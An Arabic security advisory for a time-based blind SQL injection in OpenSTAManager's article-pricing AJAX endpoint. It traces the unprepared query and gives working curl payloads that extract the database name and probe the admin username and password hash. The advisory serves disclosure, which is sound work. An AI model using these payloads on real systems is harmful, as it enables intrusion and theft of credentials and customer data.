
CVE-2026-24416 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الوقت في وحدة تسعير المقالات
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-24416 |
| الخطورة | عالية |
| التوصية الأمنية | عرض التوصية |
| اكتُشفت بواسطة | Lukasz Rybak |
ثغرة حرجة من نوع حقن SQL الأعمى القائم على الوقت (Time-Based Blind SQL Injection) في وحدة تسعير المقالات في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج محتويات قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين وبيانات العملاء والسجلات المالية، من خلال هجمات الاستدلال المنطقي القائمة على الوقت.
الحالة: ✅ تم التأكيد والاختبار على مثيل مباشر (v2.9.8) و demo.osmbusiness.it (v2.9.7)
المعامل القابل للاستغلال: idarticolo (GET)
نقطة النهاية المتأثرة: /ajax_complete.php?op=getprezzi
الوحدة المتأثرة: Articoli (المقالات/المنتجات)
يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL الأعمى القائم على الوقت في معالج إكمال تسعير المقالات. يفشل التطبيق في تعقيم المعامل idarticolo بشكل صحيح قبل استخدامه في استعلامات SQL، مما يسمح للمهاجمين بحقن أوامر SQL تعسفية واستخراج بيانات حساسة عبر الاستدلال المنطقي القائم على الوقت.
سلسلة الاستغلال:
نقطة الدخول: /ajax_complete.php (السطر 27)
$op = get('op');
$result = AJAX::complete($op);
يتم استرجاع المعامل op لكن الثغرة تكمن في معاملات أخرى.
التوزيع: /src/AJAX.php::complete() (السطر 189)
$result = self::getCompleteResults($file, $resource);
التنفيذ: /src/AJAX.php::getCompleteResults() (السطر 402)
require $file;
يتم تضمين ملفات complete.php الخاصة بكل وحدة.
المعامل القابل للاستغلال: /modules/articoli/ajax/complete.php (السطر 26)
$idarticolo = get('idarticolo');
يتم استرجاع المعامل idarticolo من طلب GET.
استعلام SQL القابل للاستغلال: /modules/articoli/ajax/complete.php (السطر 70) الثغرة الرئيسية
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
الأثر: إلحاق مباشر لقيمة $idarticolo دون استخدام prepare()، بينما يتم تعقيم $idanagrafica بشكل صحيح.
السياق - بنية الاستعلام الكاملة (الأسطر 39-74):
الاستعلام القابل للاستغلال هو جزء من استعلام UNION يجلب سجل الأسعار من الفواتير ومذكرات التسليم:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
السبب الجذري: استخدم المطوّر prepare() بشكل صحيح في أول SELECT (السطر 54) لكنه نسي استخدامه في ثاني SELECT ضمن استعلام UNION (السطر 70)، مما أنشأ نمطاً أمنياً غير متسق.
الخطوة 1: تسجيل الدخول
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
الخطوة 2: التحقق من الثغرة (SLEEP القائم على الوقت)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
الخطوة 3: استخراج البيانات - اسم قاعدة البيانات
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
الخطوة 4: استخراج بيانات حساسة - بيانات اعتماد المسؤول
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
شرح الحمولة:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)